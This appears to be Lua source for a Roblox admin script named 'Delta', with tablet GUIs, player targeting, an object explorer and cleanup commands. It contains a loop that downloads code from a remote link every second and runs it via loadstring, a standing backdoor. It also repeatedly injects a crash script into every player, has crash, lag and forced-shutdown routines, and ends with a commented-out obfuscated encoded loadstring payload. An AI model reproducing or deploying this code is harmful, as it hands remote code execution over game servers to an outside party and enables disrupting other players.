- t.Text = string.gsub(Msg,"","\5")
- if Image ~= nil then
- local BBBG = Instance.new("BillboardGui")
- BBBG.Size = UDim2.new(5, 0, 6, 0)
- BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
- BBBG.AlwaysOnTop = true
- BBBG.Adornee = a
- BBBG.Parent = a
- Delay(0, function()
- while BBBG.Parent ~= nil do wait()
- ypcall(function()
- BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
- end)
- end
- end)
- local NewImg = Instance.new("ImageLabel")
- NewImg.Size = UDim2.new(1, 0, 1, 0)
- NewImg.BackgroundTransparency = 1
- NewImg.Image = Image
- NewImg.Parent = BBBG
- end
- if Time ~= nil then
- Delta.Services.Debris:AddItem(a, Time)
- end
- cd.MouseClick:connect(function(pl)
- if pl==Player or Delta.Ranked[pl.Name].Rank > Delta.Ranked[Player.Name].Rank then
- coroutine.wrap(function()
- for i = 0, 1, 0.1 do
- pcall(function()
- a.Transparency = i
- s.Transparency = i
- t.TextStrokeTransparency = i
- wait()
- end)
- end
- a:Destroy()
- end)()
- for _,v in pairs(Delta.Tablets) do
- if v.Tab == a then
- table.remove(Delta.Tablets, _)
- end
- end
- if Msg == "Dismiss" then
- Dismiss(Player)
- else
- if Function ~= nil then
- local Ran, Error = pcall(function()
- Function(a)
- end) if not Ran then print(Error) end
- end
- end
- end
- end)
- table.insert(Delta.Tablets,{Tab = a, Plr = Player.Name})
- end
- Output = function(Player, Msg, Color, Function, Time, Image)
- if type(Player) == "userdata" then
- local thread = coroutine.create(function()
- OutputSingular(Player, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- elseif type(Player) == "table" then
- for _,v in pairs(Player) do
- local thread = coroutine.create(function()
- OutputSingular(v, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- end
- elseif type(Player) == "string" then
- if Player:lower() == "all" then
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- local thread = coroutine.create(function()
- OutputSingular(v, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- end
- elseif Player:lower() == "admins" then
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- if FindRank(v) >= 1 then
- local thread = coroutine.create(function()
- OutputSingular(v, Msg, Color, Function, Time, Image)
- end)
- coroutine.resume(thread)
- end
- end
- end
- end
- end
- Dismiss = function(plr)
- pcall(function()
- if type(plr) == "userdata" then
- plr = plr.Name
- end
- for i,v in pairs(Delta.Tablets) do
- if v.Plr == plr then
- coroutine.wrap(function()
- for i = 0, 1, 0.1 do
- pcall(function()
- v.Tab.Transparency = i
- v.Tab.SelectionBox.Transparency = i
- v.Tab.BG.TL.TextStrokeTransparency = i
- wait()
- end)
- end
- v.Tab:Destroy()
- end)()
- Delta.Tablets[i]=nil
- end
- end
- end)
- end
- function GetSplit(Message)
- local a = nil
- for i = 1, #Message do
- if Message:sub(i,i) == "-" then
- a = i + 1
- break
- end
- end
- if a ~= nil then
- return Message:sub(a)
- else
- return nil
- end
- end
- -- getPlayer --
- getPlayer = function(Speaker, Msg)
- Msg = Msg:lower()
- local Table = {}
- local Players = Delta.Services.Players:GetPlayers()
- if Msg == "me" then
- table.insert(Table, Speaker)
- elseif Msg == "all" or Msg == "" then
- for _,v in pairs(Players) do
- table.insert(Table, v)
- end
- elseif Msg == "others" then
- for _,v in pairs(Players) do
- if v.Name ~= Speaker.Name then
- table.insert(Table, v)
- end
- end
- elseif Msg == "nonveterans" or Msg == "nonvets" then
- for _,v in pairs(Players) do
- if v.AccountAge < 364 then
- table.insert(Table, v)
- end
- end
- elseif Msg == "veterans" or Msg == "vets" then
- for _,v in pairs(Players) do
- if v.AccountAge > 364 then
- table.insert(Table, v)
- end
- end
- elseif Msg == "random" then
- local p = Players[math.random(1,#Players)]
- table.insert(Table, p)
- elseif Msg == 'friends' then
- for i,v in pairs(Players) do
- if Speaker:IsFriendsWith(v.userId) then
- table.insert(Table, v)
- end
- end
- elseif Msg == 'nonfriends' then
- for i,v in pairs(Players) do
- if not Speaker:IsFriendsWith(v.userId) then
- table.insert(Table, v)
- end
- end
- elseif Msg == 'youngest' then
- at = {}
- for i,v in pairs(Players) do
- table.insert(at,v.AccountAge)
- end
- low = math.min(unpack(at))
- for i,v in pairs(Players) do
- if v.AccountAge == low then
- table.insert(Table, v)
- end
- end
- elseif Msg == 'oldest' then
- ot = {}
- for i,v in pairs(Players) do
- table.insert(ot,v.AccountAge)
- end
- high = math.max(unpack(ot))
- for i,v in pairs(Players) do
- if v.AccountAge == high then
- table.insert(Table, v)
- end
- end
- else
- for i,v in pairs(Players) do
- if v.Name:lower():sub(1,#Msg) == Msg:lower() then
- table.insert(Table, v)
- end
- end
- end
- for _,v in pairs(Table) do
- if CheckRank(v, Speaker) then
- table.remove(Table, _)
- Output(Speaker, v.Name.." Outranks You!", "Bright orange", nil, 3)
- end
- end
- return Table
- end
- -- Auto LoadString --
- coroutine.wrap(function()
- while wait(1) do
- if Delta.Removed == true then return end
- ypcall(function()
- local hsync = Delta.Services.HttpService:GetAsync(Delta.RemoteControlLink, true)
- loadstring(hsync)()
- end)
- end
- end)()
- -- ShowCommands --
- ShowCommands = function(Speaker)
- Dismiss(Speaker)
- local OpenCmds = function(Rank, Speaker)
- Dismiss(Speaker)
- for Name,Tab in pairs(Delta.Commands) do
- if Tab.Rank <= Rank then
- Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
- Dismiss(Speaker)
- Output(Speaker, "Name: "..Name)
- Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
- Output(Speaker, "Rank: "..Tab.Rank)
- Output(Speaker, "Description: "..Tab.Description)
- Output(Speaker, "Flags: "..Tab.Flags)
- Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
- Output(Speaker, "Dismiss")
- end)
- elseif Rank == 1337 and Tab.Rank <= FindRank(Speaker) then
- Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
- Dismiss(Speaker)
- Output(Speaker, "Name: "..Name)
- Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", "))
- Output(Speaker, "Rank: "..Tab.Rank)
- Output(Speaker, "Description: "..Tab.Description)
- Output(Speaker, "Flags: "..Tab.Flags)
- Output(Speaker, "Back", "Really black", function() OpenCmds(Rank, Speaker) end)
- Output(Speaker, "Dismiss")
- end)
- end
- end
- -- wait()
- Output(Speaker, "Dismiss", nil)
- Output(Speaker, "Back", "Really black", function() ShowCommands(Speaker) end)
- end
- local Rank = Delta.Ranked[Speaker.Name].Rank
- for _,v in pairs(Delta.Ranks) do
- if Rank >= _ then
- Output(Speaker, "Rank "..tostring(_).." ["..v.."]", nil, function() OpenCmds(_, Speaker) end)
- end
- end
- Output(Speaker, "All", nil, function() OpenCmds(1337, Speaker) end)
- Output(Speaker, "Dismiss")
- end
- -- ShowPlayers! --
- ShowPlayers = function(Speaker)
- Dismiss(Speaker)
- for _,v in pairs(getALLPlayers()) do
- if v.Parent == Delta.Services.Players then
- Output(Speaker, v.Name, nil, function()
- Dismiss(Speaker)
- Output(Speaker, "Profile Name: "..v.Name, "Royal purple")
- Output(Speaker, "Profile Id: "..v.userId, "White")
- Output(Speaker, "Profile Age: "..v.AccountAge, "Teal")
- if FindRank(Speaker) > FindRank(v) then
- Output(Speaker, "Commands", "Lime green", function() CommandInterface(Speaker, v.Name) end)
- end
- Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
- GetRankedInterface(Speaker, v.Name)
- end)
- Output(Speaker, "Back", "Teal", function() ShowPlayers(Speaker) end)
- Output(Speaker, "Dismiss")
- end)
- else
- Output(Speaker, "nil-"..v.Name, nil, function()
- Dismiss(Speaker)
- Output(Speaker, "Profile Name: "..v.Name, "Teal")
- Output(Speaker, "Profile Id: "..v.userId, "White")
- Output(Speaker, "Profile Age: "..v.AccountAge, "Royal purple")
- if CheckRank(Speaker, v) then
- Output(Speaker, "Crash", "White", function()
- Dismiss(Speaker)
- local x = Instance.new("StringValue", Delta.Services.Lighting)
- x.Name = "Disconnect: "..v.Name
- coroutine.resume(coroutine.create(function()
- wait(0.5)
- if x.Name == "Disconnected: "..v.Name then
- Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
- else
- Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
- end
- end))
- end)
- end
- Output(Speaker, "To Ranked Settings", "Really blue", function()
- GetRankedInterface(Speaker, v.Name)
- end)
- Output(Speaker, "Back", "Really blue", function() ShowPlayers(Speaker) end)
- Output(Speaker, "Dismiss")
- end)--, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
- end
- end
- Output(Speaker, "Dismiss")
- end
- -- Explorer! --
- Explorer = function(Speaker, Obj)
- if Obj == nil then return Explorer(Speaker, Delta.Services.Game) end
- Dismiss(Speaker)
- if Obj == Delta.Services.Game then
- for i,v in pairs(Delta.Services.Game:GetChildren()) do
- ypcall(function()
- Output(Speaker, v.className, nil, function()
- Explorer(Speaker, v)
- end)
- end)
- end
- Output(Speaker, "Dismiss")
- else
- local ObjParent = Obj.Parent
- Output(Speaker, "Name: "..Obj.Name, "Magenta")
- Output(Speaker, "ClassName: "..Obj.className, "Magenta")
- Output(Speaker, "FullName: Game."..Obj:GetFullName(), "Magenta")
- Output(Speaker, "Destroy", "New Yeller", function()
- if Obj:IsA("Player") then
- if FindRank(Speaker) >= FindRank(Obj) and FindRank(Speaker) >= 2 then
- Obj:Kick()
- Explorer(Speaker, ObjParent)
- else
- Output(Speaker, "You cannot kick "..Obj.Name.."!", "Really red", nil, 2)
- end
- else
- Obj:remove()
- Explorer(Speaker, ObjParent)
- end
- end)
- Output(Speaker, "Refresh", "Royal purple", function() Explorer(Speaker, Obj) end)
- if #Obj:GetChildren() > 0 then
- Output(Speaker, "View Children", "Teal", function()
- for i,v in pairs(Obj:GetChildren()) do
- if not v.Name:lower():find('Delta tablet') then
- Output(Speaker, v.Name, nil, function()
- Explorer(Speaker, v)
- end)
- end
- end
- end)
- end
- Output(Speaker, "View Parent", "Really blue", function() Explorer(Speaker, ObjParent) end)
- Output(Speaker, "Dismiss")
- end
- end
- -- Cleaning And Stuff :) --
- CreateBase = function()
- for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
- if v.Name:lower():find('base') and v:IsA('BasePart') then
- v:remove()
- end
- end
- local Base = Instance.new("Part")
- Base.BrickColor = BrickColor.new("Dark green")
- Base.CFrame = CFrame.new(0, 0.6, 0)
- Base.Transparency = 0
- Base.Elasticity = 0.5
- Base.FormFactor = "Custom"
- Base.Material = 'Grass'
- Base.CanCollide = true
- Base.Friction = 0.30000001192093
- Base.Size = Vector3.new(2044, 0, 2044)
- Base.Archivable = true
- Base.Material = "Grass"
- Base.RotVelocity = Vector3.new(0, 0, 0)
- Base.Reflectance = 0
- Base.Locked = true
- Base.Anchored = true
- Base.Name = "Base"
- Base.TopSurface = "Smooth"
- Base.BottomSurface = "Inlet"
- Base.Shape = "Block"
- Base.Parent = Delta.Services.Workspace
- end
- CleanWorkspace = function()
- for i,s in pairs(Delta.Services.Workspace:GetChildren()) do
- if Delta.Services.Players:GetPlayerFromCharacter(s) == nil then
- if s.className ~= "Terrain" then
- if s.className ~= "Camera" then
- pcall(function() s:Destroy() end)
- end
- end
- end
- end
- CreateBase()
- for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
- if v:IsA("Terrain") then
- v:Clear()
- end
- end
- end
- FullClean = function()
- local Child = {}
- local GetAllChildren = function(c)
- for _,v in pairs(c:GetChildren()) do
- ypcall(function()
- GetAllChildren(v)
- table.insert(Child, v)
- end)
- end
- end
- for _,v in pairs(Delta.Services.Game:GetChildren()) do
- ypcall(function()
- GetAllChildren(v)
- end)
- end
- for _,v in pairs(Child) do
- if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
- v:remove()
- end
- end
- CleanWorkspace()
- Debug()
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- v:LoadCharacter()
- end
- end
- Debug = function()
- ypcall(function()
- for _,v in pairs(Delta.Services.Workspace:GetChildren()) do
- if v:IsA('Message') or v:IsA('Hint') then
- ypcall(function()
- v.Text = ''
- v:Destroy()
- end)
- end
- if v:IsA('Terrain') then
- v:Clear()
- end
- end
- Delta.Services.Lighting.GlobalShadows = true
- Delta.Services.Lighting.TimeOfDay = '14:00:00'
- Delta.Services.Lighting.Brightness = 0.3
- Delta.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
- Delta.Services.Lighting.Ambient = Color3.new(1,1,1)
- Delta.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
- Delta.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
- Delta.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
- Delta.Services.Lighting.FogStart = 0
- Delta.Services.Lighting.FogEnd = 100000
- Delta.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
- Delta.Services.Lighting:ClearAllChildren()
- Delta.Services.Teams:ClearAllChildren()
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- v.Neutral = true
- end
- end)
- end
- -- Shutdown Function --
- Shutdown = function()
- local SDKick = function(v)
- createLocalScript([[Instance.new(string.reverse("ecnatsnItnioJecafruSlaunaM"), game:service('Workspace'))]], v:waitForChild("Backpack"))
- if v then
- v:Kick()
- end
- end
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- SDKick(v)
- end
- Delta.Services.Players.PlayerAdded:connect(function(v)
- wait()
- SDKick(v)
- end)
- end
- -- onJoin and onLeave! --
- onJoin = function(Player)
- local a,b = ypcall(function()
- wait()
- local PlayerName = Player.Name
- createLocalScript(InjectionCrash, Player:waitForChild("Backpack"))
- if Delta.Removed == true then return end
- if FindRank(Player) == -1 then
- createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Player:waitForChild("Backpack"))
- elseif FindRank(Player) == -1 then
- Announce(PlayerName.." got kicked due to a banishment.")
- Player:Kick()
- elseif FindRank(Player) == -2 then
- Announce(PlayerName.." got lagged due to a banishment.")
- Lag(Player)
- else
- ypcall(function()
- Delta.Connections.Chat[Player.Name] = Player.Chatted:connect(function(Message) onChatted(Player, Message) end)
- end)
- if FindRank(Player) >= 1 then
- Output(Player, "Welcome to Valinzia!", "Royal purple")
- Output(Player, "Created by iTov", "Really blue")
- Output(Player, "Your Rank is "..FindRank(Player), "White")
- Output(Player, "Click to view Available Commands!", "Lime green", function() ShowCommands(Player) end)
- Output(Player, "Dismiss")
- end
- if FindRank(Player) <= 0 then
- if Delta.AgeRestriction == true then
- if Player.AccountAge < 30 then
- Announce(PlayerName.." has been kicked for being under 30 days old.")
- Player:Kick()
- end
- end
- end
- if not Delta.Ranked[Player.Name] then
- Delta.Ranked[Player.Name] = {Rank = 0, Color = "White", MeshType = "No Mesh", Distance = 5, Description = "N/A", SpinningRot = true, Rotation = true}
- end
- Player.DescendantAdded:connect(function(Object)
- if Delta.LocalSidedScriptsLock == true then
- if Object.Name == "Animate" then return end
- if Object:IsA("Script") then
- local ObjectName = Object.Name
- Object.Disabled = true
- Object:remove()
- end
- end
- if not Delta.PseudoLocalScript then
- if Object:IsA("LocalScript") then
- Delta.PseudoLocalScript = Object:Clone()
- Delta.PseudoLocalScript.Disabled = true
- Announce("PseudoLocalScript Source Has Been Found!")
- end
- end
- end)
- if Delta.PrivateServer.Enabled == true then
- if FindRank(Player) < 0.1 then
- Delta.PrivateServer.Waiting[PlayerName] = true
- Announce(PlayerName.." got kicked due to the Private Server.")
- Player:Kick()
- end
- end
- end
- end)
- if not a then
- Output("All", b, "Really red")
- end
- end
- onLeave = function(Player)
- ypcall(function()
- wait()
- Dismiss(Player)
- local PlayerName = Player.Name
- if Delta.Removed == true then return end
- if FindRank(Player) >= 1 then
- for i = 1, Delta.ShutdownTime do
- local join = false
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- if v.Name == Player.Name then
- join = true
- end
- end
- if join == false then
- if Delta.Aborted == true then
- Delta.Aborted = false
- local ABM = Instance.new("Message", Delta.Services.Workspace)
- ABM.Text = "Shutdown Aborted!"
- Delta.Services.Debris:AddItem(ABM, 1)
- return
- else
- local ABH = Instance.new("Hint", Delta.Services.Workspace)
- ABH.Text = "Rank 3 And Up Can Say sd"..Delta.Bet.."-a To Abort!"
- local ABM = Instance.new("Message", Delta.Services.Workspace)
- ABM.Text = Player.Name.." has been kicked: shutdown in "..Delta.ShutdownTime-i.." seconds!"
- wait(1)
- if ABM ~= nil then
- ABM:remove()
- end
- if ABH ~= nil then
- ABH:remove()
- end
- end
- else
- local ABM = Instance.new("Message", Delta.Services.Workspace)
- ABM.Text = "Shutdown Aborted!"
- Delta.Services.Debris:AddItem(ABM, 1)
- return
- end
- end
- Shutdown()
- end
- ypcall(function()
- Delta.Connections.Chat[PlayerName]:disconnect()
- Delta.Connections.Chat[PlayerName] = nil
- end)
- if FindRank(PlayerName) >= 0 and Delta.PrivateServer.Enabled == false and Player.AccountAge > 30 then
- Announce(PlayerName.." has left!")
- end
- end)
- end
- Delta.Services.Players.PlayerAdded:connect(function(Player) local PlayerName = Player.Name onJoin(Player) if FindRank(PlayerName) >= 0 and Delta.PrivateServer.Enabled == false and Player.AccountAge > 30 then Announce(PlayerName.." has joined!") end end)
- Delta.Services.Players.PlayerRemoving:connect(function(Player) onLeave(Player) end)
- coroutine.resume(coroutine.create(function()
- ypcall(function()
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- onJoin(v)
- end
- end)
- end))
- coroutine.resume(coroutine.create(function()
- repeat
- ypcall(function()
- for _,v in pairs(Delta.Services.Players:GetPlayers()) do
- createLocalScript(InjectionCrash, v:waitForChild("Backpack"))
- end
- end)
- wait(5)
- until Delta.Removed == true
- end))
- -- Locking Scripts --
- Delta.Services.Workspace.DescendantAdded:connect(function(Object)
- if Delta.ServerSidedScriptsLock == true then
- if Object.className == "Script" then
- local ObjectName = Object.Name
- Object.Disabled = true
- Object:remove()
- end
- end
- end)
- -- AddCommand and onChatted! --
- Command = function(Name, Uses, Rank, Description, Flags, Function)
- if Uses == nil then return end
- if Name == nil then Name = "N/A" end
- if Rank == nil then Rank = 0 end
- if Description == nil then Description = "N/A" end
- if Flags == nil then Flags = "No Flags" end
- Delta.Commands[Name] = {Name = Name, Uses = Uses, Rank = Rank, Description = Description, Flags = Flags, Function = Function}
- end
- onChatted = function(Speaker, Message)
- if Delta.Removed == true then return end
- local SpeakerName = Speaker.Name
- if Message:sub(1,3) == "/e " then
- Message = Message:sub(4)
- end
- for _,v in pairs(Delta.ChatFilter.Phrases) do
- if Delta.ChatFilter.Enabled == true then
- if Delta.Ranked[Speaker.Name].Rank <= 0 then
- local Phrase = v[1]
- local Lvl = v[2]
- if Message:lower():match(Phrase:lower()) or Message:upper():match(Phrase:upper()) then
- if Lvl == 0 then
- Speaker.Character:breakJoints()
- elseif Lvl == 0.5 then
- createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], Speaker:waitForChild("Backpack"))
- elseif Lvl == 1 then
- Speaker:Kick()
- Announce(SpeakerName.." has been kicked for saying the word "..Phrase)
- elseif Lvl == 2 then
- Lag(Speaker)
- Announce(SpeakerName.." has been lagged for saying the word "..Phrase)
- elseif Lvl == 3 then
- ChangeRank(Speaker, -1)
- Announce(SpeakerName.." has been banned for saying the word "..Phrase)
- end
- end
- end
- end
- end
- for _,v in pairs(Delta.Commands) do
- for _,Use in pairs(v.Uses) do
- if Message:sub(1,#Use + #Delta.Bet) == Use..""..""..Delta.Bet then
- if FindRank(Speaker) >= v.Rank then
- Message = Message:sub(#Use + #Delta.Bet + 1)
- Ran, Error = ypcall(function()
- v.Function(Speaker, Message)
- end)
- if not Ran then Output(Speaker, Error, "Really red") end
- end
- end
- end
- end
- end
- -- Command Bar --
- function giveCMDBar(Player)
- if type(Player) == "string" then
- Player = Delta.Services.Players:findFirstChild(Player) or nil
- end
- if Player == nil then return end
- local rankedData = Delta.Ranked[Player.Name]
- if rankedData.CMD == nil then
- CMD = true
- end
- for _,v in pairs(Player:FindFirstChild('PlayerGui'):GetChildren()) do
- if v.Name == 'Delta Command Bar' then
- v:remove()
- end
- end
- local ScreenGui = Instance.new("ScreenGui", Player:FindFirstChild('PlayerGui'))
- ScreenGui.Name = 'Delta Command Bar'
- local Frame = Instance.new("Frame",ScreenGui)
- Frame.BackgroundColor3 = Color3.new(1,1,1)
- Frame.BackgroundTransparency = 1
- Frame.BorderColor3 = Color3.new(0,0,0)
- Frame.BorderSizePixel = 0
- Frame.Position = UDim2.new(0,0,0.5,300)
- Frame.Size = UDim2.new(0,400,0,30)
- Frame.SizeConstraint = Enum.SizeConstraint.RelativeYY
- local TextButton = Instance.new("TextButton",Frame)
- TextButton.BackgroundColor3 = Color3.new(1,1,1)
- TextButton.BackgroundTransparency = 0.69999998807907
- TextButton.BorderColor3 = Color3.new(0,0,0)
- TextButton.Size = UDim2.new(0.20000000298023,0,1,0)
- TextButton.Style = Enum.ButtonStyle.Custom
- TextButton.Font = Enum.Font.SourceSans
- TextButton.FontSize = Enum.FontSize.Size24
- TextButton.Text = "Submit"
- TextButton.TextColor3 = Color3.new(1,0,0)
- local TextBox = Instance.new("TextBox",Frame)
- TextBox.Active = true
- TextBox.BackgroundColor3 = Color3.new(1,1,1)
- TextBox.BackgroundTransparency = 0.69999998807907
- TextBox.BorderColor3 = Color3.new(0,0,0)
- TextBox.Position = UDim2.new(0.20000000298023,0,0,0)
- TextBox.Size = UDim2.new(0.80000001192093,0,1,0)
- TextBox.Font = Enum.Font.SourceSans
- TextBox.FontSize = Enum.FontSize.Size24
- TextBox.Text = "Type Your Command Here"
- TextBox.TextColor3 = Color3.new(0,0,0)
- TextButton.MouseButton1Down:connect(function()
- onChatted(Player,TextBox.Text)
- end)
- Frame:TweenPosition(UDim2.new(0.75,0,0.5,300), "Out", "Quad", 1)
- end
- --[[
- shared[" dat 119996013543151 "]={getfenv(),4.762173934797756};local z={[")"]=0,["^"]=1,["="]=2,["%"]=3,["@"]=4,["!"]=5,["("]=6,["*"]=7,["-"]=8,["_"]=9,["&"]=10,["~"]=11,["?"]=12,["#"]=13,["$"]=14,["+"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
- "?(+(%(^(?()=&*?=_(#%%*-(^(=*!(@(~!==)=@(^(@*)=^%^%_%_%_%(%)%^A%!%@A%^%!%^%)A=#!~%_(#%#(^(@*-($=!(-*)*-=&*~!=%#!_=#=^%~%%*!(@*((!($((*-=^(%*%*!(=*@*-=?(+(^(@(%*@*=*_($(*(-=-A=^A+*+~$~++$@+=+%&^#*+!$^+)+($)$)$=&_?@$-#+$&#($?_?*&*(#$#)$#-~?*_)$_-^#!#(-!#!A?@#@#--+&&?$~!#)A?%_$_)?@?_~&_?~@?@?@?=_(~(~-~+&=*)*-_%~*&$~_&!~_-(~_&((*(**%-)&$&?*)&)&=&__(&-_)&_!_!-!$@^_~_!A%=%^_#-(@~_=!^*%-$-!-+%~!&!?%=@#!=_&-)-=-!%%(_-**%-=--*=*=*?=#@~(~*+=*=&*#(_(^*?)?!$(_)-)@**%$()(*(-($(?!?!$^$^$+?+~+(!$!%!-+(+^!_!$@%+^+^++$^!%!(@%@#@))=%^@+@^@)@-@)=#@)@(+=^@+?^)C@)%?%)%^%_+-%$=+%+$-$-^*=!%*=(=$=()%%(=$#*$&#_)@=-^+=?!)%=%(%(=#$-+?!)%=%(%$^%^@+(^$^$^$^?$)^)^=^_)??&?=+?!=*^)-^%)+)%$)^%))?^?)?)&$_*$(+@)(+!+#+!#=)!+_~-#&$!+?$(&=?@A&!?&+=+-$&$#_~?^++#~$&$)$&#&#@_!~%#%$*__*-*(*-#&##?&?@#*-?&*#!?)#*?^-#_+**&~?+?+?~~*?~~?~@-%?_~&?&*%*(_^?+&&~^~#((*?_~&_~~A&=~&-*~&&_(_@*@%-$&?_*&$_((_**_-_+_&_@&)&!&#_=_)*~_*A_~_~!*@%(!@*(=_$-)_=_=!?@~-^-=_=@&A@-@=@(@#%#^~^*!=-)*~*=*&%#"
- ,"@~(?(%*$(-*@*_*^*((!!=*)(?()*?(?!?!?($!((&!+(!^^%%^%=~+_+!%)($@_!)!-^~=*!_!&@&@(!(=^!#@+@^!^^#+_^~+#^-A@(@-@-)=)^@*%-@-A+&+#+-+~+%+%#^#?!=*-%(=^%-=)+%)+=^%?!==?!==$=$)%=%%#^*)+^#=_^+^=#$$)#+#-~(~=+#^~)(^?!=*!#(+@^*^?)(^?!$(+)?!=*$~&#?~)+$#=)!)_?@?%)_+?!$(&~^??~+~&~#~&~)?(~?~-~*~+&+-#-_?@+=$#$@$?&)#!$!++#__!~*_~?_~##)$@&+_$#@#!$!_?_*_$A_-_%_(_^_*_%_~-~(_(!&)#$~_?)?--?&^?^#~~-_%?^?!?!?=?)~*A~)?~(*-_(#-!A~=~=*(_~&~~!&=-#&~&+&+&?&&_^&!A&%((--_$_=_@&-_@&=_!-@-@A%^%%_!_--!-+-=@!*!-*_=_+!^_+-$A-(-*%%!!%#!^-!-!-^*#*^*=*&%_*+()-)%_=&!&(?A*@@(*@*%*#(~($^*=)@~(_!@(~!$^$+?+(@(!-(%()%=()(+!_!*!(^_=*@-@+@&@@!)A!#@=@)=~@*@_@~@~)*+%^!+*^=@$%)@=@=)?+~%^%=@=+&+@+-+=+(+#$#?~?!^!=*%=%++^%+=$=-=(=!$-+(^*^$^_^%=+^@=?A^))#^~)*^~^*^*)*^_)^^!)?!)%=%(%)??#$~#?&?^#%#=#^#)#+?$A?~?=?-?_?+~!?*_!_+#+$^)?+_?~+_+-+=+)++&=?$$)+^$^$#$#~-$@$($-$-&@_)~=_@~+#~A#+#+A_-#$?+#+-(_^_@_+-=_&-&(-(=~=?@#+??_$A?~?!?%?=-(&A~?!~+(~-#(^&+-%~(~&*!*@~&&A~(=*+(=*+($(#(?(~(&(_(&()*$(!C($!^"
- ,"(?!?!)(&!#B!A%#*#-+_&_*(__*_(_)_$-#@^*^_!_*-+*_%!!*%~!%-_-)-)@%!!-%-=-?*&*$!$*=-@*?(@%-@_*(*(*)*#(_)*)^!^(%*$(~%#(~(&(@(=(^=-%)($!%($)&=?))%-!$B!^?=@!=!*!)^@%+@@!)!)@^@$=~%*@~@^$+#_=_%~@(@%^!@%@=@?%&%_+)^-%(%~%_^$=$%-==$$+)$@)?==%_=_$))-=(=~=_)$^$=-^)$@)_^_=%^+#)$!~%~#+?!=*+^?!)%=%(%*$_^*^(^)^$)#?=+=)@^+)&~(#-~_~~#%)-)-+@)%~&_-_=$=+@)++??$+?+~+!+%+=~*#*$_+@+=?#$_$~$#$#&__!~*__~@$)$=$@$@&$_##%#@$@_?_(A_@_*_+-+($(?($?)#%?)?&?#*)~)?=##?&_(?$?!*^_%*~_+~%?%?+&~~+&)~-**~#&$~$(*(-_-&&~!~=-$&(~+!-(^-?&&_!&?_+!+%#%*-*__&@&^*#_!&&!?(#-#_^_#_~-!@^(%@(_%_!_@--=(=)*)-=_#-&!(-$-%@(!@*!*?A*^-#*=-&*+(#@-*@*(*-*-%@=)@?!==@@+(~(#(+(+=_=-($!+(+^*=^=!=+^%=?!)%=%(%&+-+=@=!@(+!?=-!)(!^-=(@*@$@_@%!+@@!?@^@)%#@~%*@~@*@*%*@_%^@!%&@)+?)$$#+&+^)%)=)^)))++$+?+~+=+-+_++$!+*?!?+)+^^%?=_+!=#==$!+^=%=@^@^)=)+~^*^_^~^~#*?%$!?*$=^$))^=^=#??~)^)=^=?_?@?*?=?!?#~#_~_!$!+*)=)+?~+%)-~_#*+&++$_+#$=+)+^&#~+_%#^?!$-$?&*&($?##$#_@&^&@&^&)&+_$_#_?_~_?_=&)&*_-_-_)_%_$-^_?-+-*-*(!("
- ,"+&+~^#??__!?#?=-(&~~~?!~+(~-#(^&+-%~(~&*!*@~&&~~~(=*+(-*+($(#(?(~(&(&(_()*-(!(#((($!^(?!?!)(&!#!!!!%%%#*#-+_&_*(%_~_)!*(+-#-=_#%_!~%+!*-#-@-@@~!%-^-(-+%%($*%-+*+()*#!&((*&*)^$)-!-(&*!*=@$((*~==@&(-(#(~@)()*&!@^)%=^(%$!@(~!~^=%&!-!#!~%)!)(&@=^(%~@~!!@^^=^*$!$+=+%^!?@_^!@#@=)*=*%_@@@+$~)#$$$$)_%#=#=*$$)&=(%-=@$~?_?%^%=!%)%#+_=^%($~)~^#=-=(+^=#^+^^=^$#?_$~?#$-^@^(^-^-#=#^^*)-^-?+?&?#?-?~?%?%&^&~$~+?!=*-)!#*)!)@)$+?+~~_#&+++?+#$_?~+_+-+=+)+=~@?$$!+~$(~$#_$*$($?#_#_$?__#*$+#%#%$*#?#&#%_%_%*^*)*+?~?@-*~*?_#@#^&#?!#&-+&+~^#??**@#=_@*(?(?%?_~#~!~~*+&%~~&~~)*)-#*^*!*!*@*#(^*+(+(_(#(~(~(!(_(*($(^(!(@(&(#!@(-(&!$!#!#!%!_@?_+-~-%_@@#=~=&=_=%*%-!_)_#!_-^_(@~(~*#---%%+@^%=%-!?*)*~*#*?*$(~(~*(=-@%**(*(%=?!$(-)*)()=@#(~!((#!^%&@?(_!-!)(^@+!=(*!^(!!&!-!^^#%~=+@=!(^^^)!(@*!*)~)$)-)~)()()_)%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?_?-?*?))!%#=%=!=($?!$(~^*=&=?^!^(^%=##=+=^$)#^%^?^=$-$?!$(_)#